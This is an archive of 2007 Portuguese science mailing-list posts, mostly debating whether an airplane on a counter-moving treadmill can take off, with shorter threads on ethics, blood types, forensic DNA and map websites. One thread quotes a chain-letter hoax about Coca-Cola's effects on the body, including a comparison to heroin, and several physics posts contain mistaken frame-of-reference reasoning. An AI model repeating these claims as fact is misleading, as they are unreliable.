"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 18:42

Homero:
# E deve se lembrar que a esteira vai rolar sempre na mesma velocidade do avião, em sentido contrário, e portanto a roda vai girar apenas no dobro da velocidade de ambos, o que não gera nem atrito suficiente para prejudicar os pneus.#

Que loucura anda isso tudo! Coitada das rodas!
Já que estamos colocando pelos nos ovos, vale lembrar que a velocidade do pneu no ponto de contato com a esteira é ZERO; se assim não fosse a roda derraparia! O eixo da roda tem a velocidade (Va) do avião (é sua velocidade de translação e igual, sentido oposto, ao da esteira em relação ao chão). O ponto superior da roda tem velocidade 2.Va. Assim, no referencial esteira, a roda tem velocidade nula no ponto de contato, velocidade Va no seu centro e velocidade 2.Va no ponto diametralmente oposto ao de contato. A periferia da roda tem velocidades distintas em cada ponto, de módulos de 0 até 2.Va.
Em relação ao solo, o ponto de contato da roda na esteira tem velocidade Va, o centro da roda 2.Va e o ponto oposto 4.Va.
Então, em relação ao chão, o avião adquire velocidade 2 vezes a velocidade da esteira, em cada instante no qual subsiste contato. Ao abandonar o solo (esteira), a roda deve manter velocidade tangencial 2.Va. Tudo isso na ausência de atrito (que, realmente, é negligenciável no processo).

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Oraculo" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 27 de fevereiro de 2007 16:35
Assunto: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Olá Takata

Takata: "Poder pode. Apenas q a aceleracao serah muito pequena. Mas tendo
tempo, pode-se dar a velocidade q quiser."

Bem, poder, pode, mas é por ser desprezivel que muitas possibilidades são descartadas, para efeitos práticos..:-) No caso específico do enunciado e do avião, e do Quenn Mary, eu não poderia move-lo, devido a sua inércia, e, claro, ao atrito, que teria de ser vencido antes que minha, pouca, força fizesse algum efeito.

Em um sistema ideal, de atrito zero, eu poderia aplicar uma força mínima e, em alguns anos, mover o Boeing de um lado para outro. Mas, se o Boeing estiver tentando decolar, mesmo com atito zero e em condições ideias, ele decolaria, e "dane-se eu" no processo.:-)

Isso me lembra uma pergunta que de vez em quando eu ouço, sobre a impossibilidade de ganhar energia do nada, sem uma fonte. Como, me perguntam, uma nave espacial pode usar um planeta para "ganhar" aceleração e velocidade, sem usar uma fonte de energia? Não seria essa uma violação de leis físicas? Como uma sonda pode "acelerar" ao passar por Jupiter, sem usar combustível ou qualquer fonte de energia? Quem perde energia, para a sonda ganhar?

Embora seja até difícil para nossa mente limitada aceitar, e contra-intuítivo de imaginar, quem "perde" energia é o planeta Jupiter no processo. A sonda, ao girar em sua órbita e "ganhar" velocidade, diminui a rotação de Jupiter.

É claro que podemos lidar com essa perda como se não existisse, como se fosse desprezível (e é, para qualquer efeito proposto), e ignorar totalmente o efeito de uma sonda de 500 quilos em relação a massa de Júpiter.

A não ser que faça uma mágica espantosa, Takata, eu ficarei realmente admirado se conseguir demonstrar que a esteira "impede" a decolagem do avião, nas condições propostas pelo enunciado, com qualquer atrito que possa apresentar. Um avião decolaria até mesmo SEM as rodas, com esquis no concreto, o que demonstra que qualquer que seja o efeito da esteira, ele é desprezível para o avião e as forças envolvidas.

O que "pega" é a roda, que "gira" para "mover" os veículos. Mas no avião, ela é só um sistema de isolamento, que torna a superfície onde o avião se apoia, irrelevante para a decolagem.

E deve se lembrar que a esteira vai rolar sempre na mesma velocidade do avião, em sentido contrário, e portanto a roda vai girar apenas no dobro da velocidade de ambos, o que não gera nem atrito suficiente para prejudicar os pneus.

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Animais gregários e justiça de grupo - Re: P/Homero, um conselho:
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 21:06

Diria que menos que vingança ou justiça essa exclusão é o efeito natural da
manutenção da reciprocidade. Quando o grupo é mantido por muito tempo junto,
o "esperto" se auto exclui. Nas comunidades indígenas onde esse isolamento
ocorre as crianças que desobedecem ou transgridem não são punidos
fisicamente mas ficam na geladeira até se redimirem de algum modo. Em
comunidades de grande mobilidade os sabidórios tiram vantagem pulando de uma
para a outra até pegar fama e ninguém mais o querer por perto ou então cair
no SPC e similares...
[]s
JR
.................................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 1:23 AM
Subject: [ciencialist] Animais gregários e justiça de grupo - Re: P/Homero,
um conselho:


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode ser
> excluído da partilha

E esse é o fator "vingança" ou "justiça". Se não houver isso, o
egoísta se dá bem.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Os 60 minutos após beber uma lata de Coca-Cola
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 21:28

Pois é, Victor, por aqui passou um pessoal dasoropa que também era assim,
não passava muito tempo sem beber água de coco com cara de quem já está no
Nirvana...
[]s
JR
.............................................
----- Original Message -----
From: "Victor" <jvoneto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 1:32 PM
Subject: Re: [ciencialist] Os 60 minutos após beber uma lata de Coca-Cola


> Tá bom, tá bom.
> Nunca mais, pelo resto dos anos que me faltam, tomarei um só gole de
> coca-cola. Espero que a última vez tenha sido uma latinha que tomei faz
> uns
> 5 minutinhos. Ainda tenho o gostinho na boca..
>
> Sds,
> Victor.
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, February 25, 2007 12:11 PM
> Subject: [ciencialist] Os 60 minutos após beber uma lata de Coca-Cola
>
>
> O que ocorre nos 60 minutos após beber uma lata de Coca-Cola?
>
>
>
> Nos primeiros 10 minutos : 10 colheres de chá de açúcar chegam no seu
> corpo,
> 100% do recomendado diariamente. Você não vomita imediatamente, devido ao
> doce extremo, porque o ácido fosfórico corta o gosto.
>
>
>
> 20 minutos : O nível de açúcar em seu sangue estoura forçando um jorro de
> insulina. O fígado responde transformando todo o açúcar que recebe em
> gordura. (É muito neste momento em particular.)
>
>
>
> 40 minutos : Absorção da cafeína está completa. Suas pupilas dilatam, a
> pressão sangüínea sobe, o fígado responde bombeando mais açúcar na
> corrente.
> Os receptores de adenosina no cérebro são bloqueados para evitar
> tonteiras.
>
>
>
> 45 minutos : O corpo aumenta a produção de dopamina, estimulando os
> centros
> de prazer do corpo. (Fisicamente, funciona igualzinho a heroína.)
>
>
>
> 60 minutos : O ácido fosfórico empurra cálcio, magnésio e zinco para o
> intestino grosso, aumentando o metabolismo. As altas doses de açúcar e
> outros adoçantes aumentam a excreção de cálcio na urina.
>
>
>
> 60 minutos : As propriedades diuréticas da cafeína entram em ação. (Você
> urina.) Agora é garantido que porá para fora cálcio, magnésio e zinco os
> quais seus ossos precisariam.
>
>
>
> 60 minutos : Conforme a onda abaixa você sofrerá um choque de açúcar.
> Ficará
> irritadiço. Você já terá posto para fora tudo o que estava na Coca, mas
> não
> sem antes ter posto para fora junto coisas das quais seu organismo
> precisaria manter.
>
>
> [As partes desta mensagem que não continham texto foram removidas]
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>
>



SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 22:57

Olá, Chicão! Vejo que vc está tentando entender o que nos leva a aceitar
livremente um sistema de valores e rejeitar outros. Comento após JR -, OK?
..............................................
From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:43 AM
Subject: Re: [ciencialist] Crueldade com animais


Chicão - Jose Renato, suas respostas estão com o sinal ">>":
>
>> Olá, Chicão!
>> Spinoza já ironizava: o virtuoso é um egoísta de
>> luneta.
>
C - Os antigos gregos não diriam a mesma coisa.
JR - Muitos sábios gregos consideravam a ironia uma coisa menor na
dielética, mas eles sempre buscavam a essência das coisas, a perfeição, o
eterno, o imutável, o phisys, aquilo que é, a realidade, a verdade, o
absoluto. Tentavam, como nós fazemos até hoje, abandonar a ilusão do que é
transitório e se dedicar ao que é permanente.
>
>> Em qual deles vc acha que está a sabedoria, a justiça , a racionalidade
>> e - o que todos almejamos - a vida em paz para desfrutar de todas suas
>> maravilhas, sem precisar sacanear, explorar ou infelicitar alguém.
>> Muitos, porém, acham isso utópico e preferem obter tudo o que for
>> possível aqui e agora. E assim, chegamos no estado onde estamos...
>
C - Rapaz, o que eu estou querendo são principios que motivam essas coisas.
O que é justiça?? O que é
racionalidade??? Voce fala que é bom , justo e racional sem explicar o
porquê. Não somos mais
crianças e nem somos religiosos para dividir as coisas simplesmente em bem e
mal. Eu aposto que você segue as regras sem entender EXATAMENTE por quais
motivos a segue.
JR - Esse aprendizado começa inconscientemente na primeira infância do zero
aos quatro anos. A consciência e o discernimento vem aos poucos após a
adolescência, onde adquirimos nossas primeiras convicções. O restante da
vida é a contínua e permanente fase das avaliações-reavaliações. Sobre esses
temas como justiça, bem, mal, racionalidade, o mundo está cheio de bons
livros contendo as mais diversas visões ou percepções. Para refletir sobre
essas visões é necessário liberdade, tranquilidade, tempo... Mas essas são
as primeiras riquezas que vampiros midiáticos marqueteiros nos furtam com
promessas sedutoras de emoção, prazer, alegria, participação... A partir daí
viramos um cidadão-zumbi, não temos mais vontade nem idéias próprias, nem
tomamos nossas decisões com liberdade e conhecimento. Nos ajeitamos no
roldão em que todos os "consumidores" são levados...
>
>> Vc pode entender o porquê das leis conhecendo a história da humanidade,
>> das grandes civilizações e a história do que chamamos de Direito. Alguns
>> exemplos que vc pode encontrar em várias culturas: o
poder total de vida ou morte dos pais sobre os filhos, do senhor sobre o
escravo e do rei sobre os
súditos, já foram admitidos por séculos. Com a organização social, viu-se
que isso não é o melhor. Leis aboliram a escravidão, os cidadãos têm direito
de vida ante o mandatário e o mando paterno é limitado por regras. Mas
muitos de nós não sofremos sob pais carrascos, reis sádicos e senhores
cruéis. Então ocorre o reciclo ou movimento pendular dos interesses
humanos-sociais. Grupos pró-aborto resgatam esse
arcaico argumento sob a falácia de que "a mulher tem o direito de dispor do
seu corpo" e por isso
pode dar o fim que desejar ao filho contido em seu ventre ou até mesmo após
seu nascimento!
>
C - E por que a mulher não teria?? Voce possui bons principios que
justifiquem o contrário???
JR - Parece complicado, mas o princípio que utilizo é simples e de domínio
público: não fazer ao outro aquilo que eu não aceitaria que fizessem comigo.
>
C - Antigamente não tinhamos a quantidade de informação que temos hoje. Se
o conhecimento sobre nossa natureza alcançou patamares nunca dantes
sonhados, acredito que deveriamos entender bem a causa do Direito. Mais uma
vez a moral absoluta versus a moral relativa.
JR - Entender, já entendemos. O que temos visto ao longo da história são
variações sobre o mesmo tema em palcos diversos. Mais recentemente, nesses
últimos séculos, estamos nos especializando em burlar o Direito de modo tal
e com argumentos tais que o direito esteja sempre a favor dos que detém o
poder.
>
>> Não possuo qualquer argumento para ser "bonzinho". O "bonzinho" é o
>> disfarce mais usado para sacanear os outros e se sair bem.
>
C - Eu acho que voce tem medo de ser "mauzinho".
JR - Eu procuro evitar situações de crueldade. Toda vez que cometo uma
crueldade fico com uma sensação muito ruim a incomodar... Minha paz vai pro
espaço e o que fica em seu lugar é muito, muito desagradável.

>> Nietzsche apontou o vigoroso caminho para o "novo homem", íntegro,
>> racional, em harmonia com as
forças naturais dos instintos. Ele também abominava os
"bonzinhos-sofredores" que aguardavam
a oportunidade para dominar e usufruir.
>
C - Minha força natural instintiva manda matar quando sofro agressão fisica
:p. Nietzsche queria mesmo era
separar Estado da religião e o homem da religião.
JR - Nietzsche foi um profeta do seu tempo, denunciando as hipocrisias dos
belos sistemas teóricos professados por espertos que não praticavam o que
determinavam aos seguidores. Ele também procurava viver na verdade, de
verdade.
>
>> Muito provavelmente ainda passaremos séculos repetindo os ciclos
>> históricos do Direito, até nos convencermos de que a melhor forma de
>> conviver é considerar e respeitar o próximo.
>
C - Por que essa é a melhor forma???
JR - Descobri isso na infância quando percebi que eu sou o próximo para o
meu próximo. Mais tarde isso ficou bem claro e, apesar de procurar outras
alternativas, não encontrei nada mais simples e efetivo.

>> Afinal, é disso que as pessoas estão cada vez mais carentes: respeito,
>> consideração, valorização, justiça, paz, carinho, gratidão, cuidado,
>> verdade... A estupidez maior que cometo com muita assiduidade é achar que
>> posso obter todos esses desejados benefícios só para mim! E os outros que
>> se danem...
>
C - Por que isso é uma estupidez???
JR - Porque o ganho que eu tenho é fortúito e se esgota rapidamente,
enquanto as consequencias desagradáveis que minha atitude provoca no meio em
que vivo são progressivas e bem mais duradouras.
>
>> Tenho muita esperança na volta do ensino da Filosofia e Sociologia ao
>> nosso Ensino Médio.
>
C - Isso se os professores de Filosofia e Sociologia entenderem BEM o que
estão lecionando.
JR - Só o fato dos alunos lerem sobre as diversas escolas filosóficas já é
um bom início. Aprender a pensar por si e discernir os engodos a que somos
expostos diariamente é uma revolução de lucidez no país.

[]s

José Renato



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 23:07

Homero:
[ Se ligar as hélices, ele se move, independente de uma esteira ou das
rodas. ]
.............................................
Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas capaz
de sustentá-lo. Na proposta original parece-me que o avião possui turbinas.
Nesse caso não há fluxo de ar nas asas, só nas turbinas.
[]s
JR
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 1:14 PM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Olá pessoal

Realmente, est assunto já foi discutido aqui, e depois de "enganar"
muita gente boa, parece que concordamos que o avião decola normalmente.

E, deve explicar porque, claro..:-) Ainda mais que até o Takata me
parece se enganou dessa vez.

A esteira só faz sentido se adotarmos como modo de movimentação do
avião idêntico ao de automóveis. a partir de tração com o solo.

Entretanto, o avião NÃO se move a partir dessa tração mas de tração a
partir da movimentação do próprio ar. Se ligar as hélices, ele se
movo, independente de uma esteira ou das rodas.

Se não me engano, o que esclareceu esta pegadinha foi trocar as rodas
e a esteira que gira "na mesma velocidade do avião", por uma pista
congelada e esquis, ou melhor ainda, um experimento hipotético com uma
pista de atrito "zero", ou mesmo com o avião "sobre" um colchão de ar
ou pendurado por fios sobre um esteira rolante.

Observe que em todas essas situações o avião decolaria normalmente,
assim, não há motivo para ele não decolar da esteira.

A esteira e as rodas, neste caso, são apenas "apoios", irrelevantes em
termos de tração ou decolagem.

Sei que vai ser, mais uma vez, difícil para alguns compreender que não
é um carro, que realmente não sairia do lugar se uma esteira rodasse
ao contrário sob ele (como um corredor na academia NÃO anda de verdade
sobre a esteira).

Mas espero que os exemplos do esqui ou da pista com atrito zero acabem
iluminando a questão. As rodas, para o avião são IRRELEVANTES em
termos de decolagem.

Um abraço.

Homero





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SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 23:25

From: "José Renato" <jrma@terra.com.br>
> Homero:
> [ Se ligar as hélices, ele se move, independente de uma esteira ou das
> rodas. ]
> .............................................
> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas asas
> capaz
> de sustentá-lo. Na proposta original parece-me que o avião possui
> turbinas.
> Nesse caso não há fluxo de ar nas asas, só nas turbinas.

José, imagino que vc tenha se enganado, neste caso. A turbina ou hélices, ao
empurrar o ar para trás, empurra o avião para frente, independente deste ter
ou não asas. O avião se move para frente ao ligar a turbina, não para cima.

Um abraço,

Ricardo




SUBJECT: Ciência Forense: exame de ADN
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: gmail <chemello@gmail.com>
DATE: 28/02/2007 00:11

Olá, tudo bem?

Convido você para ler mais um artigo sobre Ciência Forense. O quarto da série tratará do exame de ADN (mais conhecido por ‘DNA’). Nele você irá saber mais sobre o que é o ADN, sua estrutura e relação com a hereditariedade. Além disto, também ficará sabendo um pouco mais sobre a identificação de uma pessoa a partir de evidências, tais como manchas de sangue, fios de cabelo e sêmen coletadas, por exemplo, em uma cena de crime. Ao final, farei uma breve discussão sobre a ética relativa a investigação de crimes a partir de bancos de ADN. Boa leitura!

Ciência Forense: exame de ADN
http://www.quimica.net/emiliano/artigos/2007mar_forense4.pdf

Os quatro artigos da série podem ser acessados através do endereço:
http://www.quimica.net/emiliano/especiais/cienciaforense

Lembro também que há um grupo de discussão do meu website:
http://br.groups.yahoo.com/group/quimicavirtual/

Gostaria de contar com vosso comentário. Para isto, solicito que o faça através do seguinte e-mail: chemelloe@yahoo.com.br

Amplexos!

Prof. Emiliano Chemello
[mail] chemelloe@yahoo.com.br
[website] http://www.quimica.net/emiliano
[MSN] chemelloe@hotmail.com

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SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 00:44

Olá Jose Renato

Renato: "Sim, se as hélices tiverem a condição de criar um fluxo de ar
nas asas capaz de sustentá-lo. Na proposta original parece-me que o
avião possui turbinas. Nesse caso não há fluxo de ar nas asas, só nas
turbinas."

Não há menção no enunciado sobre o sistema propulsor do avião, e de
todo modo isso é irrelevante ao problema. Não são as hélices que
produzem o fluxo de ar nas asas, para permitir o vôo. As hélices
apenas criam empuxo, de forma a mover o avião, e é este movimento, seu
deslocamento na atmosfera, que permite o vôo.

Como exemplo, pense em um carro com hélices e em um planador, sem
hélices. No primeiro caso, há deslocamento, mas não vôo, pois o carro
não tem asas. No segundo, não há hélices, mas há vôo, pois há
deslocamento na atmosfera.

Não é possível usar o deslocamento de ar produzido pelas hélices para
gerar sustentação, como não é possível fazer o famoso "barco feito de
banheira e chuveiro" dos desenhos animados, ou soprar na vela do barco
para move-lo. Não funciona assim, a mecânica do vôo é bem diferente.

No caso de ser um jato, continua tudo na mesma. O jato, ao criar
deslocamento de ar para "tras", cria uma reação contrária "para
frente" (ação e reação). Isso desloca o avião (ou o carro, se a
turbina for instalada em um), que se move na atmosfera, e esse
movimento cria a sustentação, que permite o vôo.

Nada disso tem relação com o solo, e as rodas, no avião, são apenas
dispositivos de "desligar" o avião do atrito com este. Dessa forma,
não importa "o que" acontece com esse solo, se ele anda para frente,
para tras, ou se fica parado em relação ao avião.

É essa a questão proposta pelo enunciado.

Um abraço.

Homero

PS: O barco de desenho animado, usado pelo pinguim da Disney, que
desejava sair do pólo Sul e viver em um lugar quente, é formado por
uma banheira, e tem o cano do chuveiro instalado no ralo dessa
banheira. Assim, a água que "entra" pelo ralo, passa pelo cano, e sai
pelo chuveiro, que está, é claro, apontado para "fora" do barco,
gerando um motor que "nunca para" (atenção, Murilo, não tente
construir um desses, não funciona..:-).





SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 01:55

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Não é possível usar o deslocamento de ar produzido pelas hélices
> para gerar sustentação, como não é possível fazer o famoso "barco
> feito de banheira e chuveiro" dos desenhos animados, ou soprar na
> vela do barco para move-lo.

Bem, os motivos de por q não funcionam são diferentes contudo, bom frisar.

Em tese, seria possível desenvolver um sistema em q o fluxo da hélice,
além da propulsão, gerasse a sustentação mais diretamente.
Helicópteros fazem isso.

[]s,

Roberto Takata



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 02:01

Olá Takata

Takata: "Helicópteros fazem isso."

Tem razão, em tese seria possível. Mas o que eu quis frisar era que a
forma geral como aviões são construídos, não envolve usar o fluxo
gerado pelas hélices como fonte de sustentação.

Inclusive, em Girocópteros, as hélices de propulsão são diferentes das
hélices de sustentação, como nos aviões. Seriam "asas em formato de
hélice", sobre o Girocóptero, e hélices propulsoras propriamente
ditas, bem menores e posicionadas atrás do piloto.

Um abraço.

Homero





SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 02:25

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Tem razão, em tese seria possível. Mas o que eu quis frisar era que
> a forma geral como aviões são construídos, não envolve usar o fluxo
> gerado pelas hélices como fonte de sustentação.

Sei. Estava apenas fazendo uma ressalva. O q significa q é uma questão
q envolve outros aspectos - design, desempenho, velocidade, etc. - e
não uma impossibilidade técnica.

Apropo. Aviões q sem dúvida decolariam da esteira: o Harrier ou o
Hiller X-18 (ou outro modelo de VTOL).

[]s,

Roberto Takata



SUBJECT: MACACOS ARANHAS: TAPAS E BEIJOS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 09:03

MACACOS-ARANHA FAZEM 'GUERRA', AFIRMA ESTUDO BRITÂNICO
http://g1.globo.com/Noticias/Ciencia/0,,AA1285730-5603,00.html

MACACO ABRAÇA PARA MOSTRAR QUE É DA PAZ
http://g1.globo.com/Noticias/0,,MUL7769-5603,00.html
--------------
[]s,

Roberto Takata



SUBJECT: Tipos sanguíneos
FROM: "Larissa" <bio_lari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 10:57

Gostaria de saber porque há essa variedade de sangue? Porque não somos
todos A, B, AB ou O? Quando houve isso? Foi durante a evolução?
Fizeram-me essa pergunta e fiquei curiosa! Alguém responde?
Até mais
Larissa



SUBJECT: Re: Tipos sanguíneos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 11:10

Uma das possibilidades aventadas é que a variação da glicoproteína
codificada pelos alelos ABO ajuda a evitar certos parasitas como o
Helicobater pylori.

Veja mais sobre a evolução dos alelos do sistema ABO em:
http://mbe.library.arizona.edu/data/1997/1404/6sait.pdf

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Larissa" <bio_lari@...> escreveu
> Gostaria de saber porque há essa variedade de sangue? Porque não somos
> todos A, B, AB ou O? Quando houve isso? Foi durante a evolução?
> Fizeram-me essa pergunta e fiquei curiosa! Alguém responde?
> Até mais
> Larissa



SUBJECT: off-toppic
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <noosfera_II@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 28/02/2007 11:17

Este é o site de mapas mais completo do mundo. Clique e veja...
http://www.multimap.com/index/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] off-toppic
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 12:08

Acho que nao tanto...

O Google tem mapas bem completos no Google Maps e Google earth
http://maps.google.com/

Tem ateh o detalhe das ruas da cidade onde nasci
http://tinyurl.com/2gr8lu

:-)

http://earth.google.com/


Ateh
Luis Brudna



On 2/28/07, Silvio Cordeiro <scordeiroes@superig.com.br> wrote:
>
>
> Este é o site de mapas mais completo do mundo. Clique e veja...
> http://www.multimap.com/index/
>


SUBJECT: Re: off-toppic
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 14:23

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Este é o site de mapas mais completo do mundo. Clique e veja...
> http://www.multimap.com/index/

Eu gosto de ver estes "mapas mundi" onde a Groenlândia é tão grande ou
maior que a África inteira...

[]s
--
César A. K. Grossmann



SUBJECT: Re: off-toppic
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/02/2007 14:27

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> Tem ateh o detalhe das ruas da cidade onde nasci
> http://tinyurl.com/2gr8lu

Morei ali pertinho, primeiro na Rua dos Imigrantes, e depois no Bairro
Modelo... Putz, sessão nostalgia... Mas a foto de satélite parece
estar "fora de sincronismo" com o mapa (clica em "hybrid").

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/02/2007 15:01

Olá, Homero e todos,

Só hoje pude ler essa interessante thread, que já havia circulado no fórum. Meu primeiro raciocíneo foi para a conclusão de que o avião não decola. Depois, desconfiando de meu bom senso e da "resposta tão à vista", reexaminei a resposta à pergunta: qual a velocidade do avião em relação ao solo? Sem pensar muito, disse: essa é moleza, a velocidade em relação ao solo é zero!. E se é zero, o avião não decola. As condições abaixo não se cumpririam, em tais circunstâncias:

1- Para decolar, é preciso que:
a) haja uma força de sustentação, para cima, sobre as asas;
b) essa força de sustentação é produzida pela diferença de velocidade do ar, entre a superfície superior e a superfície inferior das asas.
c) os motores de propulsão forçam a nave a ir para a frente, aumentando a velocidade relativa entre avião e o solo, e garantindo o fluxo correto de ar, através das asas, tal que seja gerada a força de sustentação requerida.
d) Mas, para que isso aconteça, é preciso que o avião se desloque em relação ao solo(e, por tabela, em relaçao ao ar), establecendo-se uma velocidade relativa em relação a ele!

Mas, reinterpretando o enunciado da questão, no que se refere ao trecho abaixo,

"A esteira tem um sistema de controle que acompanha a velocidade do avião e faz com que a esteira tenha exatamente a mesma velocidade, no sentido oposto.",

sob outro ponto de vista, concluí o seguinte:

1- velocidade da esteira,em relação ao solo = Ve;
2-velocidade do avião em relação à esteira = 2Ve( o eixo do avião tem uma velocidade 2.Ve em relação a qualquer ponto fixo da esteira-onde colocamos um referencial solidário a ela).
3 - Por uma simples composição galileana, concluímos que a velocidade do avião em relação solo resulta igual a Ve, para a frente; e não zero. Assim, as condições de decolagem, a,b,c e d, acima, podem ser cumpridas.
Portanto, em tais circunstâncias, o avião pode decolar, se a velocidade da esteira for suficiente e ela tiver o comprimento adequado.
Como nunca me interessei por coisas de aviação, a não ser dominar as "toradas de aço" quando em viagem, não mesmo que utilidade poderia ter essa esteira, que tem que bem compridinha e deve ter um tremenda sistema mecância e elétrico para arrastá-la a velocidades como 200 ou km/h. Acho que só serve mesmo para movimentar listas de discussão, e fazer o pessoal debater e trocar idéias. Se tem alguma utilidade prática, gostaria de saber, sinceramente.
Sds,
Victor.






----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 28, 2007 2:01 AM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Olá Takata

Takata: "Helicópteros fazem isso."

Tem razão, em tese seria possível. Mas o que eu quis frisar era que a
forma geral como aviões são construídos, não envolve usar o fluxo
gerado pelas hélices como fonte de sustentação.

Inclusive, em Girocópteros, as hélices de propulsão são diferentes das
hélices de sustentação, como nos aviões. Seriam "asas em formato de
hélice", sobre o Girocóptero, e hélices propulsoras propriamente
ditas, bem menores e posicionadas atrás do piloto.

Um abraço.

Homero





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/02/2007 15:45

Erratas:
-onde se lê: "raciocíneo", leia-se: raciocínio;
- onde se lê: "não mesmo que utilidade poderia ter essa esteira, que tem que bem compridinha e deve ter um tremenda sistema mecância e elétrico para arrastá-la a velocidades como 200 ou km/h
leia-se: "não SEI que utilidade poderia ter essa esteira, que DEVE SER bem compridinha e deve ter um tremendO sistema MECÃNICO e elétrico para arrastá-la a velocidades como 200 ou MAIS km/h.
Se tiver mais, não ví.
Sds,
Victor.

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 28, 2007 3:01 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Olá, Homero e todos,

Só hoje pude ler essa interessante thread, que já havia circulado no fórum. Meu primeiro raciocíneo foi para a conclusão de que o avião não decola. Depois, desconfiando de meu bom senso e da "resposta tão à vista", reexaminei a resposta à pergunta: qual a velocidade do avião em relação ao solo? Sem pensar muito, disse: essa é moleza, a velocidade em relação ao solo é zero!. E se é zero, o avião não decola. As condições abaixo não se cumpririam, em tais circunstâncias:

1- Para decolar, é preciso que:
a) haja uma força de sustentação, para cima, sobre as asas;
b) essa força de sustentação é produzida pela diferença de velocidade do ar, entre a superfície superior e a superfície inferior das asas.
